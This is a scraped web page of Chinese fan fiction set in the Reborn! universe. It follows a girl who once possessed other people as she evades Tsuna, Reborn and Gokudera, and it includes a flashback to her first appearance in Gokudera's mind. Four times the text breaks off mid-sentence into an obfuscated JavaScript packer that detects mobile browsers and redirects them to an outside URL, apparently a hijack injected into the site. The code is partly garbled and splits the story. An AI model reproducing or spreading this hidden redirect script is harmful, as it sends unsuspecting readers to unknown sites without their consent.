;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770919|174244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,哼哼,以为抓住了我的小辫子就能胜利吗,非也非也! 我暗中得意,看着他想到什么似的,愣愣地松开我的手。 没想到这么好解决!我大喜,我接着看向山本武,给他也递眼色,他却没有马上松开手指,而是靠近过来,跟我说:“我现在很会做厚蛋烧寿司。阿雪什么时候来吃呢?” 他的声音很轻,在我的耳边却十分清晰。 我不禁联想到甜甜的厚蛋烧寿司。啊。想吃。 ……等等,这和我们现在的话题有联系吗? 我错愕地看他,发现少年眼中燃起的情绪我看不分明,却能确定那是不下于沢田纲吉的执拗。 我心中升起不妙的预感,哈哈,哈哈!好在我当鸵鸟惯了,当即把不妙的预感抹去,连声应是:“没问题,我超喜欢吃厚蛋烧寿司的,阿武你的手艺我可是很早就想领教了呢!什么时候能去做客的话真是不胜荣幸!” “很早…吗……”他意味不明地将这几个字咀嚼,松开了手,脸色一下变得晴朗起来,“哈哈哈,那么说好了,这次再不能违约了哦。” 我已经不想深究“这次”和“那次”的字眼区别了。就当我是外国人吧——对了我祖上有意大利血脉呢太好了我日文不好根本听不懂你们在说什么! 随着我装傻充愣把两个人糊弄过去,我深深呼出一口气,觉得世界又明媚了。 沢田纲吉一句话又让我明媚的世界灰暗下来。 他说:“就算你这么说……阿雪,我也不会当什么黑手党首领的。” 他紧紧地盯着我,用近乎乞求的语气道:“拜托了,阿雪。我不能在你的洗车店里工作吗?” 我:“……”不是,求求你别提洗车店了。算我错了好吧。 我觉得第一杀手的目光能把我杀死。 为了生存,只能死道友不死贫道。我说:“只要你能说服你的……呃,你的家庭教师?只要你能说服他不继承那什么,嗯,彭格列,那你想做什么工作,当然都没问题了。”我磕磕巴巴地装作对彭格列的名字不熟悉。 沢田纲吉眼前一亮:“完全没问题!我会努力的!” “原来如此。阿纲。只要我说服这位小姐加入彭格列,你就会乖乖接受我的训练,成为彭格列的十代目了吧。” 就在我以为万事大吉的时候,一直沉默着的杀手终于放出了王炸。 沢田纲吉被这突如其来的问题打得措手不及:“诶?诶?应、应该吧……” 他的嘴唇抿成一条直线:“我想和阿雪在同一个领域……不管是学习还是工作……我想一抬头就能够看到阿雪。”就像是从前那样亲密无间。 沢田纲吉陈述心事很简单,我要考虑的可就多了。他这句话刚刚出口,我就感觉不妙,头皮微微发麻。 果不其然,杀手轻抬一下帽檐:“初次见面,我是Reborn,蠢纲的家庭教师。” 帽檐下,他黑黝黝的眼睛直直望向我,仿佛看穿了我皮囊之下的灵魂。他彬彬有礼地说:“那么,为了蠢纲的未来,我会制定计划,说服这位小姐加入彭格列。” 我:“……” 不是,当初我为什么要开洗车店。 沢田纲吉,你害苦我也!! 16.你骗人 我回到家,问琴子奶奶我们能不能搬家。 她问我你发什么疯,出去外面淋雨清醒清醒。 我焦灼地说你根本不懂,情况很紧急。举个例子吧,你的二十多个情人同时找上门来,懂吗?就是这样紧迫的状态,你能理解我吗? 她诧异而惊喜地问我:“你哪来的情人?” 我:“我就举个例子。我没有情人。” 她一下变得兴致缺缺,喝了口罗汉果茶,重新回答起我的问题:“他们同时找上门来,这有什么紧急的?” 她满脸“你就这点本事”的恨铁不成钢:“我什么都没承诺,他们找我也没用。他们多来几次就没耐心了,自己就会走,何至于搬家。” 天杀的,她说得居然有几分道理。 我镇定下来,也喝起了罗汉果茶。甜甜的味道让我慢慢平静下来,我有些慌张的脑子也恢复了清醒。 我什么都没承诺……哦,我可能承诺了。但我不是不记得了吗?只要我不认,那我就是什么也没有约定过。 就算有人拿着从前的约定来找我,我也可以镇定地说没有那回事、你认错人了。对方不依不饶也没关系,多来几次就没耐心了——哪有一段关系会让人念念不忘一辈子的。 我想通之后觉得世界又明亮了。 琴子奶奶一句话把我的世界弄灰暗了。 她说:“我要去找老朋友,大概出门半个月。这半个月你就自力更生吧。” 我不可置信:“你哪来这么多老朋友?”之前不是才去了群马一趟吗? 她鄙夷地看着我:“你以为我是你,活那么大年纪,连个情人都没有。” 我:“……” 我:“好吧,那我早中午饭吃什么?” 说着我跑去打开冰箱,开始期待接下来半个月的预制菜。出乎我意料,冰箱空荡荡的,里面只有一瓶酒,五十度。 我不可置信地回头:“你就让我喝酒?” 她告诉我:“那是我要拿去送人的。” 我:“那你让我吃空气?” 她正剥着青见,闻言把皮砸我头上,没好气地说:“没了我你就吃空气?你不会自己做饭吗。” 我顶着青见皮,诚恳地说:“那你回来我们就搬家?我会把火灾控制住不祸及邻居的。” 我当然也试过下厨,但我在厨艺上的天赋和我在杀人上的天赋成反比。后者有人夸我“天生的杀手胚子”,前者……我曾经烧了一整条街。别问我为什么是街。因为我在街角生的火。 琴子奶奶瞪着我,明白了我的意思:“……你跟你妈真是一模一样。” 她叹了口气:“那你就去买速食,去别人家蹭饭。别把自己过得半死不活。我走了你怎么办啊。” 我也明白了她的意思。感情她觉得我照顾不好自己。可是追本溯源,我觉得我很冤——没错,我很冤——和她重逢那会子我刚刚获得属于自己的身体,略有些忘记正常人的生活方式。 以往我作为身体的外来客,吃饭的时候不用自己动手就能够享受美味,更不用担心饥饿;拥有自己的身体后,我也下意识觉得会有人帮我吃饭,我就没有进食的计划。 琴子奶奶问我为什么一脸菜色,我诚恳地说不知道啊,感觉肋骨有点痛……不对,胃有点痛;她检查了一番,问我几天没吃饭了,我想了想,不确定地说两三天吧。 琴子奶奶:“你怎么不等五天之后再吃饭。” 我:“五天不吃饭会饿死的诶。” 琴子奶奶:“哇,好厉害,原来你知道不吃饭会饿死啊。我还以为你不知道呢。” 总之她后来一直觉得我很容易就会饿死。其实我吃垃圾也没关系的,真的没关系的,可她母爱泛滥,给我做了很多好吃的饭菜,把我对食物的接受门槛变得很高。 得知半个月吃不到美味小点心,我整个人都发蔫。她不为所动,路过我时不轻不重踢了一脚:“最后的晚餐。” 厨房的水槽处还放了一些准备好的菜,她加热了锅炉,给我做起饭。我感动地眼泪汪汪:“我要和你在一起一辈子!” 她用嫌弃的眼神看我。我懂那眼神。意思是“都有情人了谁跟你这小崽子在一起一辈子”。 啧! · 第二天是星期六,没有课,我不用去学校。 我在沙发上躺尸,胆战心惊着第一杀手的出现。NHK电视台的节目不能引起我的半点兴趣,至于假期作业,我认为那是空气。躺到下午两点半,我的肚子咕咕叫的声音大到我无法忽视,我行尸走肉一般爬了起来,出门买饭吃。 因为很饿,我选了离家不远的便利店,准备随便买点饭团吃。 没想到的是,平日里人流一般的便利店,此时居然称得上门庭若市。 我挤进一群女生中,挑选着饭团的口味,漫不经心地听她们在这里聚集的原因。 “好帅哦……没想到并盛町这样的小地方也会有大帅哥出现!就算穿着店员的服装也不能掩盖他的帅气啊!” “好想跟他合影啊……” “劝你不要。上一个去请求合影的人被直接赶出去了。” “……” 听她们的意思,收银员换人了? 我回想起进店的时候被人群挤得水泄不通的收银台。前段时间,售货员确实在抱怨人手不足、工作量太大。现在老板招了新人,但看上去工作量并没有多少变化……。 我挑好了饭团的口味,左右看看,又到冷藏柜拿了几个蛋糕。预制糕点好吃不到哪里去,但我现在已经饥不择食了。没有甜品摄入我会死的。 收银台大排长龙,我排到了队尾。我原本很有耐心,但没想到,排在面前的人为了多和收银员多相处一些时间,纷纷选择了很多商品,导致了排队的时间大大增长。 我好饿。 好饿。 饿。 · 不管了。 我拆开包装,把饭团塞进了肚子里。不太好吃,但能止饿。而一旦开了头,接下来的事就顺理成章起来——等到队伍排到我时,我已经吃光了所有东西,只剩下手里捧着的才啃到一半的蛋糕。 我把吃空了的袋子递了过去:“请扫码吧。”我可没有逃单。 收银员:“……” 他从烦躁的工作中抬起了头。用一双碧绿的眼睛瞪着我:“喂,你是耍——” 他的话梗在了喉咙里,我也惊呆了。 没想到在学校里一脸拽相的意大利男,此时居然沦落到在便利店打工的落魄境地!哼哼哼,我可是还记得他围观了我的尴尬场景! 三十年河东三十年河西报仇雪恨的机会来了! 趁着他看着我“你你你”你不出个所以然来,我秉承着不笑贫不笑娼的原则,用同情的口吻说:“这位收、银、员,你需要小费吗?” 狱寺隼人:“……” 他的手指一下收紧了,眼看着他就要掏炸弹,我连忙假惺惺地提醒:“这里有很多人,这里没有你的十代目。等会把我们都被炸死了你就当不了左右手了。” “……哼!” 他听了我的话,脸色还是臭得可以,但总算老实地帮我扫码。一边扫码,一边用拙劣的话术试图打击我:“吃那么多……,你是女人么,你是猪吧!” 我抱着手臂冷笑:“反弹。” 狱寺隼人:“真不知道你这种人怎么有资格跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15786663|174244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在十代目身边!我劝你有点自知之明就离十代目远点!” 我:“反弹。” 狱寺隼人:“……” 他恶狠狠地瞪我,强撑一口气寻找我的破绽,终于找到突破口:“呵,吃这种口味劣质的食物,你还真是不挑!” 我愣了一下,发现他的目光落在我手上吃了一半的蛋糕上。 我顿时不满了。就算它确实不怎么好吃、但比起垃圾已经好很多了好吗!我口吻很臭地提醒:“给它道歉。” 他夸张地“哈?”了一声:“道歉?” 我点了点头,肯定地指出:“限你三秒内向我的‘至尊红颜Pro版提拉米苏’道歉!否则我往你嘴里塞垃圾。” 狱寺隼人:“……” 他怔忪片刻,接着盯住我的眼睛,流畅地说:“‘至尊红颜Pro版提拉米苏’?” 我有点儿惊讶了。这是头一回有人能马上重复我给食物起的长串名称。 喂喂…… 眼前这家伙……难道是我的知音不成?! 说到我给食物起名称这事,也有一点儿渊源。 我依稀记得曾有一段时间,我附身的那个人穷得连饭都吃不起,好不容易有一次我们弄到了一块蛋糕,在他狼吞虎咽之前,我制止了他。 “我们给它起个名字吧!一个好的名字能够让食物变得更加美味,好像我们不是在吃垃圾、而是坐在高级餐厅里用餐!” 他问我想起个什么名字。 我想了想:“‘至尊红颜Pro版提拉米苏’!怎么样,这个名字听起来很酷吧。” 他:“这不是提拉米苏。是卡萨塔蛋糕。” 他:“高级餐厅里也不会有这种名字的菜品。” 我鄙夷:“你都穷得吃垃圾了,还知道人家高级餐厅起什么名字呢。以后我要开一家餐厅,把里面的菜定名为‘至尊红颜Pro版提拉米苏’。这样你服气了吧。” 他:“……” 他:“好吧。……至尊红颜Pro版提拉米苏。”念到后面几个字,他的语气咬牙切齿。 我虽然不会做饭,但给食物起名字这一方面却很有天赋。“至尊红颜Pro版提拉米苏”不过是开胃菜,进阶版的“扣扣弹弹软绵绵舌头布丁”,终极版的“舔一舔扭一扭泡一泡奶油甜筒卷”,无一不展示了我高超的起名技巧。 靠着这些天才的名字,我们度过了吃垃圾的艰难岁月。 唯一让我遗憾的是,每次我说出这些名字,别人都要宕机一会才能反应过来,时不时还呈现出老年痴呆的先兆症状,一个劲儿问我“扣扣弹弹什么?”“什么什么布丁?”“扭一扭舔一舔奶油什么什么?”——久而久之,我就失去了展示我的才华的兴趣。我已经很久没有给食物起名了。 没想到狱寺隼人虽是个炸弹狂魔,却如此懂我的起名美学。阴差阳错之间我竟得到了知音。我感动起来,也不在乎他的臭脸了,道:“说错了。其实不是‘至尊红颜Pro版提拉米苏’,是超级大王王版甜杏奶酪卡萨塔蛋糕。” 他瞪着我。 我以为他这次说不上来了,毕竟名字真的有点儿长。谁知道他哆嗦着嘴唇,一口气说完:“超级大王王版甜杏奶酪卡萨塔蛋糕。” ……我确定了。他就是我的知音啊!!! 狱寺隼人接着说:“这不是卡萨塔蛋糕。这是提拉米苏。” 这句话也让我感到莫名的顺耳。正当我想要激动地表示我们两人很投缘时,他突然双手撑在收银台上,上半身俯近问我:“你去过意大利?” 他落下好大一片影子。 我对上他的眼睛,下意识答:“没有。” 他说:“你骗人。” 17.我们一起吃垃圾吧! “你骗人。” 语气很笃定,每个字都很有力,像是在宣判某种事实。有至于这么斩钉截铁吗?我有些不满,却又惊讶地发现,他那双碧色的瞳孔颤动着,目光定定地落在我身上。少年握紧了拳头,咬牙道:“你……” 我…… 我什么。 等等,等等!不觉得这个场景过于眼熟吗? 不妙的预感涌上了我的心头。我的经验告诉我感到不妙的时候就快跑。于是在他哆嗦着嘴唇说出我不想听的话之前,我当机立断地把剩下的蛋糕往嘴里一塞,将包装袋往扫码枪上对准,确认价钱之后利落地敲打收银机,叮咚! 付了钱,我抱着空空如也的包装袋拨开人群准备跑路。 在我的认知里,他至少会被我身后排着的队伍的客人缠得无法脱身,他未必能这么快下定决心来追我,就算他下定决心追过来,我也早已经跑出八百米外。 然而。 ——“咚”的一声闷响。 伴随着众人的惊叫,我听到凌乱的脚步声。 “呼、呼、呼——” 急促的呼吸声向我靠近。 我错愕地回过头,狱寺隼人居然连生意也不顾了。银发少年一步跃过收银台,大步流星向我追来。 这哪里是知音,这是阎王啊! 我吓得魂飞魄散,拔腿就跑,拥挤的人流此时却也成了我的阻碍,在人们的碰撞与尖叫之中,他逐渐靠近我,挥舞的手一把揪住了我的衣领子。 我试着挣扎却无济于事,他的手像铁钳,再僵持下去我的衣领子恐怕要离家出走。不行啊!这是琴子奶奶给我买的! 我视死如归地看了他一眼,接着我们很有默契——哪来的默契啊我说!——地避开人群的目光,转进了小巷中。 光线刚一变暗,他就松开了我的衣领,转而用力抓住了我的手,像是抓住救命的稻草一样,嘴上的语气却狰狞如同恶鬼:“——你别走!你给我说清楚!” 锋芒锐利的面庞,神情鲜活,怒气与神采飞扬。少年太过急切,向我靠近,呼吸灼热如同火中沸石,滚烫得不可思议。他蹙着眉,碧绿的眼中仿佛有狂风,猎猎地吹向我,带着不得到答案不罢休的匆匆执拗,我与他对视,这狂风几乎让我站不稳。 他抓着我的手臂,一字一句,像是从牙关中挤出来般冷硬:“说清楚!这些名字是你起的对不对?你去过意大利!不,你没有去过意大利,真正去过意大利的是你的——” 是我的鬼魂。 我们两两对视,他到底没有说下去,但瞪着我。我听到他牙齿咬得咯咯响的声音:“你就不想说些什么吗。” 我什么都不想说。 意识到到底发生了什么的时候,我就被吓得魂飞魄散。强烈的心虚感让我有一瞬间想就这样承认算了,但下一秒我狠狠否决了这个可能。 琴子奶奶的二十几个情人同时找上门来她都能应付,那是因为她光明正大地渣。我不行啊,我不是渣女,我做不到对每个人都说“对不起啊过去好像想过抢夺你的身体但我现在已经失忆了请你原谅我了”啊!而且他反应那么剧烈,如果跟我有仇怎么办? 没准我刚刚说出一个Yes,迎接我的不是戒指而是杀人犯桀桀桀的狂笑,接着他就把我大卸八块…… 所以果然还是不承认好了。 我深吸了一口气,心虚感被压到内心深处直到荡然无存。再次抬起头时我保证我的眼睛坦荡荡:“你是指什么?” 他冷笑了一声。 我自顾自地说:“虽然不知道你指的是什么,但我刚才说的那些名字,其实是一家餐厅里的菜名。我很喜欢那里的菜,所以才会记到现在。” 我观察着他的脸,只见他的表情有了变化,但看不出来是信了还是没信。 他问:“那家餐厅叫什么名字?” 我赶紧现编:“那什么…哦。那什么餐厅。” 我清了清嗓子:“它的名字就叫做‘那什么餐厅’。” 他死死盯着我,为这个荒谬的名字气笑了:“高级餐厅是不会用这种名字的。” 我下意识反驳:“你都穷……” 等等我说什么呢!这什么肌肉记忆啊! 我梗住脖子,再次装模作样清嗓子:“你不懂。那家餐厅的老板就是这样有品位。起这样的名字也不奇怪。” 他的脸色变得极度古怪,我怀疑他想笑。可是看上去又有点儿想哭。总之很古怪。在我狐疑的目光中,他嗤了一声:“那你告诉我,这家餐厅的地址在哪里。” 这个也得现编,有点为难我了。幸好我机智,谎话这种东西,九假一真最是真!我张口就来:“我也忘了。其实,我是在意大利的时候偶然遇见的这家餐厅的,那个地方靠海,卖咖啡,咖啡的名字叫做‘苦苦苦苦瓜大王’,味道还不错。” “你刚才不是说你没去过意大利吗?” “哦。我记错了。我记性不好。” “呵,你的记性不好?难为你还记得那些奇形怪状的名字。” “我的记性突然又好了。而且什么叫奇形怪状!” 他被我堵得瞠目结舌、哑口无言,只能瞪我。被瞪得多了之后,我已然债多不愁压身,干脆抱着手臂任他瞪。 他的怒气在微妙的阈值徘徊,根本绷不住严肃的脸,表情因此变得十分古怪。他缓缓说:“你确定那家餐厅靠海?” 我:“我确定。下午三四点,太阳撒在海面上,粼粼金光,很多船在出海,船帆也是金色的,一切都很漂亮。” 我所说的场景当然不是那什么那什么餐厅。这又是一个出现在我脑海中的模糊画面:我坐在海边,看着扬帆的船只,眯着眼睛,说着什么。 日光明媚,海水粼粼,海鸥飞翔,海风吹过身体的每一个罅隙,直达我的灵魂,而我只觉得平静。 我曾附身十三个人,我想,这想必也是某个人眼中的景象。我跟别人看了下午的海。 下午的海很漂亮。 在我短暂的出神中,狱寺隼人轻声问:“你喜欢那片海吗?” “……喜欢。”我回过神来,犹豫了一下,还是遵从本心回答。 我很喜欢那片海。记忆会变得模糊,但感情不会。因对海的喜爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792948|174244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,灵魂会在想起它时微微振鸣。 片刻沉默之后,狱寺隼人一根根松开了手指:“你走吧。” 我问:“你不怀疑我了?” 他说:“我怀疑你什么?” 我:“我怎么知道。你这个人莫名其妙。” 他摇了摇头,不再和我胡搅蛮缠。我试探地迈开一步,他身型微晃,但没有下一步动作,我如释重负地三步并两步离开。 即将走出小巷前,我鬼使神差往后看了一眼。 ——他就站在那里,身影孤单,难言落寞,一直望着我的碧绿色的眼睛,如同地壳中凝固了万年的翡翠。 · 狱寺隼人遇到她那天,正值他人生中最狼狈的时期。 他从家里跑了出来,一个人在老街上游荡。年幼的小孩有一股心比天高的傲气,他打定主意自力更生,哪怕是死也再不回去。 可他名义上是黑手党,从小却是锦衣玉食养大,是不折不扣的小少爷。当黑手党的本领,他学过;然而,那更多是统御家族的基础知识,那是一种高高在上的教育:教他的人没想到他会饿得在街头翻垃圾吃,当然也没教过他生存。 男孩来到这个吃人窟的第一天,和人起了冲突,被打了一顿;第二天,他身上光鲜亮丽的小西装沾满了尘土,变成了烂布条;第三天,他在垃圾桶旁边徘徊,脸上流露出犹豫。 他知道不远处有人跟着他,等着他屈服之后带他回去。只要他张一张口,他又能回到从前的生活里,金碧辉煌的大殿、精致美味的食物、人们的奉承和笑脸——只要他张一张口,他就能重新得到他们。 可他不想。 他不想。 男孩的倔强像只猫,张牙舞爪与世界对抗。他似乎花了很长的时间来犹豫,但事实上他表现出来的是一往无前的决绝。 他开始翻垃圾桶。 酸臭腐烂的味道一股脑涌进他鼻尖,剩饭残渣、被捏扁的纸杯、分不出是什么东西的粘腻液体……男孩屏住呼吸绷着一张脸翻找着,手指在潮湿油腻的垃圾表面划过,有一瞬间他觉得这是地狱。 一个将他过往的人生全部剥夺、将他从前的尊严全都融化的地狱。 他抿紧了嘴睁大了眼睛,想要找到一点能吃的东西;汗水从他脸颊上划过,他觉得它咸腥发涩。 “你在找什么,这里是哪里,好臭哦!好脏……不对,不对!开场词应该是……我重生了,重生在了……” “呃,垃圾堆里?” 水珠从他鼻尖滴落的刹那,他听到他的脑子里冒出来一个声音。 “……”他因为惊愕而顿住了动作。 那声音没有理他,自言自语几句,接着说:“哦!我知道了,你是想找吃的吗?你是饿了吗?我觉得那块肉不错,去冲洗一下就能吃了。你觉得呢?” 狱寺隼人很快辨认出了她指的是什么。垃圾桶角落里的、被塑料袋裹住的半块牛排,上面裹着形容诡异的酱汁。他下意识反驳:“可是那也太……” 太脏了。 太臭了。 太…… 太狼狈了。 18.以后请多指教 话说到一半,酸臭的味道顺着他的喉咙灌进他的肺部,把他呛得止不住咳嗽。男孩扒住垃圾桶的手臂支撑不住,整个人从垃圾桶上滑倒下来,把眼泪都咳出来。 …… 太狼狈了。 狱寺隼人从未想过自己有这样狼狈的时刻。在他短暂的前半生里,他更擅长穿着漂亮的小西装,在金碧辉煌的大厅中彬彬有礼地向他人问好,然后在赞美中露出得体的微笑;而此时此刻的一切,他曾在圣经中读过:地狱。 流浪了三天,狱寺隼人的一腔孤勇没有被磨平,过往人生的精致却已经被挥霍殆尽。他重新站了起来,瞪着那块牛排。 偏偏地狱里不只有他一个人,那突然冒出来的声音大概是魔鬼吧,她蛊惑他:“看样子也只有这个能吃了。肉是高质量蛋白哦!吃了就不饿了!……话说,你现在是饿了吧?” 她似乎能感受他身体的状态,但显然程度还不够。狱寺隼人何止是饿呢?半大的孩子饥肠辘辘,几乎饿得失去理智:唯一能证明他还清醒的,是他固守不知所谓的执着,没有去偷窃,而是来翻垃圾桶。 在魔鬼的蛊惑中,男孩狼吞虎咽地将那块牛排吃掉了。微微发酸,但对他而言毫无伤害——这时候要感谢他姐姐碧洋琪的功劳——他把它强硬地塞进胃袋,总算察觉到零星半点的满足。 直到这个时候,他才终于问出了那个最重要的问题:“你是谁啊?” · “我是来自另一个大陆的不可测存在,你可以用这里的语言把我称呼为‘神’。” 脑袋里的声音正儿八经地回答他,他却一点儿也不相信。 因为她的声音一点儿也没有神该有的庄严和肃穆,反而呈现出同龄人的稚嫩和柔和。狱寺隼人毫不客气地戳破了她:“从没有听过神的声音这么年轻的!而且神怎么会突然出现在我的脑子里。” 就算世界上真的有神,那也不会降临在他面前。狱寺隼人对此无比肯定:如果真的有神,为什么不快些来拯救他呢? 他嗤之以鼻:“说!你装神弄鬼是想做什么!你一定是个邪恶科学家吧,难道是想挟持我的脑电波吗!” “脑电波是什么?” 狱寺隼人愣了一下,抓住了对方的把柄,一下子得意起来:“哈!你连脑电波都不知道是什么,还说你是神呢!没准你是什么实验室的试验品,被人偷走了脑子也不一定。还敢在这里骗我!” “我,我才不是不知道,我刚才只是没反应过来!” 声音理直气壮地说:“而且我被人偷走了脑子,又怎么会突然出现在你的身体里!我如果是试验品,那你是什么?你是邪恶的科学家吗?” 狱寺隼人被她倒打一耙,“哈?”了一声:“我是邪恶的科学家?你这家伙还说自己是神呢!” 顿了顿,他杀敌一千自损八百:“你见过哪里的邪恶科学家会在垃圾桶里翻垃圾吃!” “哼哼,那可说不定,”她说,“没准你就是进行了邪恶的实验——囚禁了我的那什么……脑电波!秘书进了我的脑电波,被别人发现了,然后被赶出了实验室,没有了工作,没有了薪水,只能来这里翻垃圾吃……” 一开始她的语气还有些谴责,说到后面就变成了笃定和怜悯。狱寺隼人虽然看不到她的脸,却猜想她如果有实体的话,此刻绝对会抱着手臂、扬着下巴、露出得意洋洋的笑。 ……有什么好得意的啊。她现在不也是在这具身体里吗。 狱寺隼人的脾气一点就爆,刚刚填饱了肚子,他浑身上下有得是力气,干脆和这位来到他脑子里的不速之客大吵特吵。 从邪恶的实验吵到垃圾桶里有什么,从苍蝇吵到今天晚上吃什么,从走左边还是右边吵到天上的鸟到底是灰色的还是黑色的。 “明明是灰色的,在光影的遮蔽下变成了黑色。你看不出来吗,还黑色黑色!” “所以就是黑色吧!就是黑色啊!” “……你到底有没有在听我说话,蠢女人!” “什么蠢女人,叫我神明大人!” “……” 狱寺隼人对她的到来表现出极度不耐烦。他现在可是忙得很啊,忙着找足够的食物、忙着找今晚睡觉的地方、忙着找方法把自己变强大……她这一出现又算什么呢? 他怎么还得忙着和她吵架了? 狱寺隼人只感到茫然。说句大白话,这家伙可真是从天而降啊!毫无征兆、史无前例,狱寺隼人找遍了自己从前学过的东西,惭愧惭愧,不妙不妙没翻出半点应付她的方法。他离家出走前想过会落魄、会狼狈、会流血,可是他—— 他没想过她的出现。 他一边在脑海里和她拌嘴,一边琢磨着要拿她怎么办。得出来的结论是:这家伙未必是神,但他拿她没办法。 他不得不做出最悲观的决定:没准他会被这家伙骚扰一辈子。 饶是狱寺隼人,此时此刻也感到不寒而栗。和脑子里另一个意识共存什么的……太可怕了吧!他晃了晃脑袋,恶声恶气地问:“喂,你这家伙,打算什么时候从我脑子里离开?” 那声音说:“不好意思啊哈哈,这辈子我都赖上你啦!” 狱寺隼人:“……” 小孩罕见地陷入了自闭。 “你看上去很失望嘛!不过没有办法、这是神决定的事情,谁也无法更改,你只能接受这个事实了。” “当然你也不用过于担心,还有一个办法能够让你摆脱困境,那就是把你的身体转让给我……” “你怎么不说话了?不对啊,你刚才不是哑巴啊。” “我知道了!你是在玩不说话挑战对吧!哦哦很有趣!那我的任务就是让你说话!从前有一只企鹅……” “……你这家伙还挺强的……可恶……” “……” 任那声音如何骚扰他,他都赌着气不再回应,谁要和她玩什么不说话挑战啊!小孩抿着嘴唇,绷着脸,拖着疲劳的步子在大街上行走,渐渐地,那声音反而被他习惯了、被他当成了某种人生背景,不再被他刻意关注,却也挥之不去。 夜幕降临一段时间后,狱寺隼人总算找到了一个能够栖身的地方。小巷的角落,头顶上有一块斜逸出来的石板,能够帮他挡雨。他依靠着墙壁,蜷缩起身体,身体的极度疲惫让他很快就要进入梦乡—— 不对! 他猛然睁开眼睛,才发现那断断续续出现在他脑海中的声音不知何时已经消失了。 他试探地出声:“你还在吗?” “……” 没有回答。 他又试探地问了几个问题,没有得到任何回应;最后他想了想,说:“喂……那只鸟就是黑色的,这样总可以了吧?” 还是没有回应。 那位突如其来的客人似乎从他的大脑中消失了。狱寺隼人对她稚嫩而雀跃的嗓音仍有印象,能在脑海中刻画出她的影子,可她本人却已无影无踪。 狱寺隼人松了一口气。 太好了,她是在说谎,她不是地狱的使者,也不是什么异世界的神明,她并不会跟他一辈子,他不必担心自己未来的人生都要花费精力和另一个人大吵大闹。 这是再好不过的事情了。 “……” 这是再好不过的事情了。 夜色朦胧,雾气迷蒙,风吹动街道上零落的树叶,微小的、窸窣的,这声音贯穿了整个夜晚。 小孩蜷缩在世界的一角,睡意全无,漫无目的地思绪漂游。 “……” 可是,为什么他突如其来,感到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15802460|174244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孤独? · “哦——!早上好!” 天光大亮,阳光透过眼皮落入眼睛,狱寺隼人不适地皱了皱眉。是谁在和他说早上好?不管是谁,他下意识回应:“早上好。” “看起来天气不错嘛!我们今天去翻哪里的垃圾桶?我们去餐厅附近吧,没准能捡到那里的小蛋糕吃!话说意大利有什么好吃的蛋糕吗?” 狱寺隼人坐正起来,脑袋发懵,思维凌乱。他绷着一张面无表情的脸,看似正在思考人生,实则他的脑子都快停摆了。半晌他终于反应过来,爆发出巨大的喊声:“所以你根本没走!” 她奇怪地说:“走什么?走去哪里?哦!你想摆脱我!哼哼哼没想到吧,我才没那么容易被甩脱,你等着我在你身体里一辈子吧!” 狱寺隼人瞪大眼睛,眼前却没人;他憋了一肚子的火,可是火不能吃,他的肚子开始饿得咕咕叫;他瞠目结舌半天,终于从喉咙里挤出字来:“你没走,那我昨晚喊你你为什么不理我?” 她更奇怪了:“昨晚你喊我了吗?我没听到啊。” “哦,”想起了什么,她无所谓地说,“可能你喊我的时候太晚了吧。我困了当然就睡觉了啊。” 狱寺隼人差点被她这无所谓的态度气死。她倒是精神饱满,他昨天晚上可是好久睡不着!小孩满腔心事憋了一晚上,当事人却轻飘飘把它揭过去了:他甚至没办法对她兴师问罪,因为他没办法解释为什么大半夜突然找她! 简直是一拳打在了棉花上,这棉花还自动缠住了他的拳头,让他软不得硬不得。 他还在气得脑袋发懵,那厢的当事人可没有半点感触。她先是借着他的视角环顾四周,肯定了这个地方找得很好、适合睡觉,接着兴致勃勃:“今天去哪儿流浪?我已经迫不及待了!我们真的不能去蹲守高级餐厅的垃圾桶吗?不管了,快走快走,大冒险!大冒险!大~冒~险~” 狱寺隼人:“……” 他木着脸,像木偶一样听从她的指挥前进。走过拐角,走过台阶,走过小广场,再次拐进一条小道。他突然出声:“我是狱寺隼人。你的名字是什么?” 没想到他会问这个问题,她正在说着的话戛然而止,有些滑稽地拖长音:“——诶?” 